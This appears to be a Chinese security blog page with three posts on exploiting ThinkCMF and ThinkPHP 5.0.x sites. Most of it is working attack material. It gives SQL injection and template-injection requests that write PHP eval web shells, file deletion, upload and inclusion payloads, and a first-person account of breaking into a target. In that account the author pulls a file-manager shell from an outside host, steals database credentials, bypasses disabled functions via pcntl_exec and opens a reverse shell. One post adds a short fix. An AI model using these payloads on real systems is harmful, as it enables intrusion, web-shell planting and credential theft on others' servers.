ThinkCMF5.x以下漏洞合集 渗透测试

需要普通用户权限,默认可注册
paylaod:

POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+- 

还有以下可以测试:

post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind 
  • 前台模版注入漏洞-可getshell四处
# 仅在Windows环境测试
# 第一处  
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处  
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=

# 第三处  
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

# 第四处
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg==")); 
  • 任意文件删除-只能windows删除

在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 test.txt 的文件。(该漏洞仅能在 Windows 下触发)

POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

imgurl=..\..\..\test.txt 
  • 任意文件上传

在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册)
curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'

  • 任意文件包含(读取数据库配置等等)
    /index.php?a=display&templateFile=README.md

使用说明

thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。 1.看logo 3的logo是黄色的. 2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的,可日穿之. 3.查看 README.md 在网站url后面输入README.md. 另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个模板不存在错:

url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php> 

请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index 
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php> 
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index 

还有最后一句废话:模版注入对于linux 并不好用 : )

更多漏洞POC-持续收集中-https://github.com/Mr-xn/Penetration_Testing_POC
参考:
https://xz.aliyun.com/t/3409 
https://xz.aliyun.com/t/3529
 https://mochazz.github.io/2019/07/25/ThinkCMFX漏洞分析合集


admin 发布于  2019-10-28 21:21 

ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞 渗透测试

0x00 简介

    ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述

    远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本 

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x03 漏洞利用&测试环境



测试环境:

测试版本:thinkcmf 2.2.2

phpstudy pro

windows 10



一共有两种方式:

第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:

/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

第一种漏洞复现截图如下:

thinkcmf之getshell.png

第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下: 

/index.php?a=display&templateFile=README.md

第二种漏洞复现截图如下:

thinkcmf任意文件包含二.png



0x04 漏洞分析

    根据index.php的第25行可知道项目相对路径为application目录:

//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH',   SITE_PATH.'simplewind/');



    然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:

可以看到只有一个公共的display方法:

namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {

    //首页 小夏是老猫除外最帅的男人了
    public function index() {
        $this->display(":index");
    }

}



    其父类是  Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:

thinkcmf几个权限为public的函数.png

    这边有问题的是display函数和fetch函数:

    display函数的作用是加载模板和页面输出,所对应的参数为:

$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:

public function parseTemplate($template='') {...}



    然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

 /**
     * 获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀* * @return string
     */
    public function fetch($templateFile='',$content='',$prefix=''){
        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
        return parent::fetch($templateFile,$content,$prefix);
    }



    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:

/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));

thinkcmf之getshell2.png

0x05 修复方式

    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

修改修饰为protected即可防御.png

还有另一种getshell的方法:

thinkcmf前台getshell.png

参考:


https://www.freebuf.com/vuls/217586.html

https://xz.aliyun.com/t/3529


admin 发布于  2019-10-25 05:29 

某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell 渗透测试

1.png



ThinkPHP 的站,且存在 ThinkPHP 5.0.x 远程命令执行漏洞,并且开了 debug 模式,但是⽬标用的是ThinkPHP5.0.20,⼀开始⽤网络上的 poc 打怎么都不成功。

第一个问题是,目标 PHP 禁⽤了命令执行的函数,比如执行 system 提示 disabled:

2.png

不过看起来文件函数没有禁用,⽐如 file_get_contents 没有报 disabled:

3.png

但是还有第⼆个问题,就是 tp 5.0.20 和 5.0.23 版本的代码有点区别,⽤网络上流传的 poc 打过去,始终提示要执行的函数参数为 null。

所以我又本地搭了 5.0.20 版本的 tp 进行调试,最后发现 poc 改成下 ⾯这样就可以成功利用:

POST /public/index.php?s=captcha HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 81aaa=id&_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=POST



点击查看原图  

  或者这样:

POST /public/index.php?s=captcha&aaa=id HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=xxx



 5.png   

ok,本地测试是成功了,再回到目标站,由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞: 



1.函数执行结果不会直接回显



2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。



后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。



file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。



于是找到 __include_file :



6.png
 

__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:



7.png
 

由于是⽂件包含的操作,所以我想到了通过在 url 里包含恶意代码,利用请求报错记录到 tp ⾃己的⽇志里,然后包含日志来执行任意代码(当然这里不包括禁用函数)。 



先本地测试一下可⾏性: 构造请求往 tp ⽇志里插入恶意代码字符:

<?=file_put_contents('./filemanager.php',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>

8.png 

代码插⼊日志成功:



9.png
 

然后包含日志文件,成功执行恶意代码,往 public ⽬录下写入了一个恶意 php ⽂件:

10.png
  



为了了适应⽬标网站的沙盒,这里预备写的恶意⽂件实际上是个纯⽂件管理 shell,只能执行⽂件相关的 操作(读写文件、创建目录、删文件⽬录等)。 临时写的,⾮常简陋,源码在如下:

<?php

$mode = $_REQUEST['mode'];

if (strtoupper($mode) == 'READ') {
    $path = $_REQUEST['filename'];

    if (is_dir($path)) {
        $filenames = scandir($path);

        printf("Files of $path :\r\n\r\n");
        foreach ($filenames as $filename) {
            if (is_dir($path . DIRECTORY_SEPARATOR . $filename)) {
                printf("% -65s [dir]\r\n", $filename);
            }
            else {
                printf("% -70s\r\n", $filename);
            }
        }
    }
    else {
        $filecontent = file_get_contents($path);
        echo $filecontent;
    }
}

elseif (strtoupper($mode) == 'WRITE') {
    $filename = $_REQUEST['filename'];
    $content = $_REQUEST['content'];
    if (file_put_contents($filename, $content)) {
        echo 'write success.';
    }
    else {
        echo 'write fail.';
    }
}

elseif (strtoupper($mode) == 'MKDIR') {
    $dir = $_REQUEST['dir'];
    if (mkdir($dir)) {
        echo 'mkdir success.';
    }
    else {
        echo 'mkdir fail.';
    }
}

elseif (strtoupper($mode) == 'RM') {
    $filename = $_REQUEST['filename'];
    if (is_file($filename)) {
        if (unlink($filename)) {
            echo 'rm file success.';
        }
        else {
            echo 'rm file fail.';
        }
    }
    elseif (is_dir($filename)) {
        if (rmdir($filename)) {
            echo 'rm dir success.';
        }
        else {
            echo 'rm dir fail';
        }
    }
    else {
        echo 'unknown error, file may not exist.';
    }
}

else {
    echo "wrong mode.";
}

于是当我本地测试没问题后,再准备在目标上测试时,发现竟然连 web 目录写文件的权限都没有:



11.png
 

好吧,权限也限制地比较死,那就还是往 tp ⽇志⽬目录下写文件吧(由于前面写过的日志代码执⾏失败导致后续写入的代码不会执行,所以又等到第二天生成新的⽇志⽂件再来包含): 通过 url 写⼊日志的代码:

<?=file_put_contents('../runtime/log/201901/00.log',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>

然后通过文件包含来执行我们的纯⽂件管理 shell,⽐如列出当前目录:

12.png  

 通过读 application ⽬录下的 database.php,拿到了数据库的账号密码:



 13.png 

⽬标虽然用了 cdn,但是通过 file_get_contents 往外发⼀一个请求,就可以确定真实 ip,对真实 ip 扫 描,发现开 了了 3306 端⼝,所以试了下读出来的账号密码,直接连上去了:

14.png
 

由于目标还对外开了 ssh 端口,所以又试着翻了下服务器上的⽂件,试图找到账号密码直接 ssh 连上去,简单查找后未果。 



思路重新回到目标 php 环境的禁⽤用函数上来。



由于现在我通过写⼊的文件管理 shell 和任意⽂件包含, 已经能执行除了禁用函数外的任意 php 代码,不过之前没怎么搞过 php 沙盒逃逸或禁用函数绕过之类的,于是请教了p师傅来做了下这方面的指导。 



先看了 php info,但 php info 里没有什么关于禁用函数方⾯有价值的信息:

 

 15.png  

所以试试执⾏:

 

<?phpvar_dump(ini_get('disable_functions'));

来查看禁用的函数有哪些,得到结果:



16.png
 

即这些函数被禁用:

 

passthru
exec
system 
chroot 
chgrp 
chown 
shell_exec
popen
ini_alter
ini_restore
dl
openlog
syslog
readlink
symlink
popepassthru



黑名单过滤,可以用 pcntl_exec 来绕过。 再利用前面写入的⽂件管理 shell 往 /tmp/ ⽬录下写一个 sh脚本,即要执行的命令:

#!/bin/bash 
id > /tmp/success

 



再来执行 PHP 代码:

<?php 
switch (pcntl_fork()) {
  case 0:
    pcntl_exec('/bin/bash', ['/tmp/exec.sh']);
    exit(0);

  default:
break; }

如果命令执行成功, id 命令的结果会保存在 /tmp/success 下,于是尝试读取:



 17.png  

最后重复上述步骤,改成执行反弹 shell 的命令:



18.png 

文章作者:露娜是真的秀 地址:https://wsrc.weibo.com/load_detail_article/70


admin 发布于  2019-6-11 18:52